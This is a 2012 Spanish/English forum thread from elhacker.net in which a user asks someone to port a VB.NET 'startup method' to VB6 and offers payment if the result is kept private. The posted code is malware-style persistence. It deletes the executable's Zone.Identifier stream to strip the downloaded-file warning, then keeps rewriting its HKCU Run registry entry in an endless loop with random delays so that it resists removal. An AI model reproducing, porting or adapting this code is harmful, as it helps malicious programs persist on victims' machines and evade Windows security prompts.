Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Swellow en 14 Octubre 2012, 18:43 pm



Título: Port VB.NET code to VB6
Publicado por: Swellow en 14 Octubre 2012, 18:43 pm
Hola amigos! Does anyone can help me porting this VB.NET code to VB6? That would be really appreciated :)

Código:
Imports Microsoft.Win32
Imports System.Runtime.InteropServices

'Credits
'Salmoneus - The rest of the code.
'JeromeMarshall - For tutorial on deleting the ADS entry.

Public Class Startup

    Private Value As String

    Private Delegate Sub C()
    Private Delegate Sub V()
    Private Delegate Sub W()
    Private Delegate Sub L()
    Private Delegate Sub CL()
    Private Delegate Sub DZ()

    Dim T As New Threading.Thread(AddressOf Persistence)

    <DllImport("kernel32", CharSet:=CharSet.Unicode, SetLastError:=True)> _
    Public Shared Function DeleteFile(ByVal name As String) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function

    Public Sub New()
  Dim DZone As New DZ(AddressOf DeleteZone)
  Try : DZone.Invoke() : Catch : End Try
  T.Start()
    End Sub

    Private Sub Persistence(ByVal RegValue As String)

  Value = RegValue

  Dim CK As C = New C(AddressOf CreateKey)
  Dim SV As V = New V(AddressOf SetValue)
  Dim WA As W = New W(AddressOf Wait)
  Dim CLO As CL = New CL(AddressOf Close)
  Dim LO As L = New L(AddressOf Looper)

  CK.Invoke()
  WA.Invoke()
  SV.Invoke()
  WA.Invoke()
  CLO.Invoke()
  LO.Invoke()

    End Sub
    Private Sub Wait()
  Dim R As New Random
  Threading.Thread.Sleep(R.Next(100, 300))
    End Sub
    Private Sub Looper()
  Persistence(Value)
    End Sub
    Private Sub CreateKey()
  If BoolCheck = True Then : RegKey.CreateSubKey(AppName) : Else : Exit Sub : End If
  Close()
    End Sub
    Private Sub SetValue()
  If BoolCheck = True Then : RegKey.SetValue(Value, AppName) : Else : Exit Sub : End If
    End Sub
    Private Sub Close()
  RegKey.Close()
    End Sub
    Private Sub DeleteZone()
  If BoolCheck = True Then : DeleteFile(AppName + ":Zone.Identifier") : Else : Exit Sub : End If
    End Sub
    Private ReadOnly Property RegKey As RegistryKey
  Get
    Dim Startup As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
    Return Startup
  End Get
    End Property
    Private ReadOnly Property RegValue As String
  Get
    Dim Value As String = RegKey.GetValue(AppName)
    Return Value
  End Get
    End Property
    Private ReadOnly Property BoolCheck As Boolean
  Get
    If RegValue <> AppName Then
    Return True
    End If
    Return False
  End Get
    End Property
    Private ReadOnly Property AppName As String
  Get
    Return Application.ExecutablePath.ToString()
  End Get
    End Property
End Class

Thanks in Advance!


Título: Re: Port VB.NET code to VB6
Publicado por: x64core en 14 Octubre 2012, 22:07 pm
Nadie va a hacer esto para tí, Deberían de bannear a este usuario y que aprenda a hacer sus propias mierd*s!


Título: Re: Port VB.NET code to VB6
Publicado por: Elemental Code en 14 Octubre 2012, 22:49 pm
what does this VB.NET code do?


Título: Re: Port VB.NET code to VB6
Publicado por: Swellow en 15 Octubre 2012, 13:59 pm
I can pay the guy who will port this to VB6 but if I pay, you don't share the code public. This is a Startup Method.


Título: Re: Port VB.NET code to VB6
Publicado por: Elemental Code en 15 Octubre 2012, 14:39 pm
i think that this works with multi threading or something like that :S

i can build you a module that add a reg key to startup.
It will be in a single thread.

And i am not sure what its this code:

Código
  1.        Dim DZone As New DZ(AddressOf DeleteZone)
  2.        Try : DZone.Invoke() : Catch : End Try
  3.  
  4.    Private Sub DeleteZone()
  5.        If BoolCheck = True Then : DeleteFile(AppName + ":Zone.Identifier") : Else : Exit Sub : End If
  6.    End Sub

So i wont include this :S

Sendme a PM if interested ;)


Título: Re: Port VB.NET code to VB6
Publicado por: Swellow en 15 Octubre 2012, 15:35 pm
i think that this works with multi threading or something like that :S

i can build you a module that add a reg key to startup.
It will be in a single thread.

And i am not sure what its this code:

Código
  1.        Dim DZone As New DZ(AddressOf DeleteZone)
  2.        Try : DZone.Invoke() : Catch : End Try
  3.  
  4.    Private Sub DeleteZone()
  5.        If BoolCheck = True Then : DeleteFile(AppName + ":Zone.Identifier") : Else : Exit Sub : End If
  6.    End Sub

So i wont include this :S

Sendme a PM if interested ;)

This startup method is a special one, I'll need you to make the exact same module in VB6, it must do exactly the same thing.<